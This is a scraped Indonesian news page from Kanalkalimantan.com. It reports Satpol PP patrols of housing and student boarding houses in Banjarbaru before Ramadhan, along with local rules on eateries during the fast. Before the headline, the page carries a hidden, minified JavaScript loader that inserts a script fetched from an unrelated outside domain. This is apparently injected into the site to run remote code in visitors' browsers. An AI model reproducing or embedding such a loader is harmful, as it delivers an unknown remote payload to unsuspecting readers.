(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Ramadhan, Satpol PP Banjarbaru Menyisir Lingkungan Permukiman hingga Tempat Kos Mahasiswa


KANALKALIMANTAN.COM, BANJARBARU – Menyambut bulan Ramadhan dengan suasana kondusif, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru gelar operasi cipta kondisi lingkungan tempat tinggal masyarakat.

Petugas penegak Perda Kota Banjarbaru melakukan penyisiran ke permukiman warga, juga melakukan penyisiran pada tempat-tempat kos mahasiswa.

Kepala Satpol PP Kota Banjarbaru, Hidayaturrahman mengatakan, pihaknya sangat mendukung kegiatan-kegiatan yang akan dilaksanakan sepanjang bulan Ramadhan.

“Sudah dari beberapa waktu lalu kami sudah melakukan giat cipta kondisi dengan melakukan patroli ke lingkungan perumahan dan tempat-tempat kos mahasiswa untuk memastikan situasi kondisi aman,” ujarnya

 

 

Baca juga: Sambut Ramadhan di Ibu Kota Kalsel, Lampion Mulai Ramaikan Festival Salikur 2022

Hal ini dijelaskan Hidayat, bertujuan untuk mengetahui keadaan serta kondisi yang ada di masyarakat Kota Banjarbaru.

Menghadapi bulan suci Ramadhan setidaknya Pemerintah Kota Banjarbaru sudah tertuang dalam Perda No 4 Tahun 2005 tentang ketentuan khusus tempat usaha warung makan, restoran, tempat hiburan dan sejenisnya serta makan dan minum berkumpul pada bulan Ramadhan.

Apabila kedapatan melanggar peraturan yang tertuang pada Perda tersebut, ditegaskan Hidayat akan mendapatkan sanksi berdasarkan juga Perwali No 84 Tahun 2016 yang mengatur tentang ketentuan sanksi.

“Selama bulan Ramadhan juga akan dilakukan sidak apabila ada tempat makan dan minum yang buka pada bulan Ramadhan,” tambahnya.

Jika kedapatan melanggar, dikatakan Hidayat, tempat makan dan minun itu akan ditindak sesuai ketentuan berlaku. Namun, sebelumnya akan diberikan peringatan dan pendekatan secara persuasif.

Kasatpol PP Banjarbaru menambahkan, terkait masyarakat yang akan membuka usaha pada bulan Ramadhan diperbolehkan menggelar dagangan sekitar pukul 17.00 Wita dan sudah boleh mempersiapkan dagangannya dari pukul 15.00 Wita.

Baca juga: Tertangkap! Pelaku Perkelahian yang Menewaskan MH Depan Cafe di Trikora

Lantas bagaimana dengan Pasar Kaget pada Bulan Ramadhan? mengantisipasi hal tersebut Satpol PP sudah memperingatkan sedari sebelum memasuki bulan Ramadhan dengan melakukan penertiban secara persuasif terhadap pedagang kaki lima (PKL).

“Kami lakukan pendekatan secara persuasif agar mereka bisa memindahkan dagangannya ke tempat yang tidak dilarang,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

3 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

10 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

12 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

12 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

12 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi juara umum pada MTQ… Read More

13 jam ago

This website uses cookies.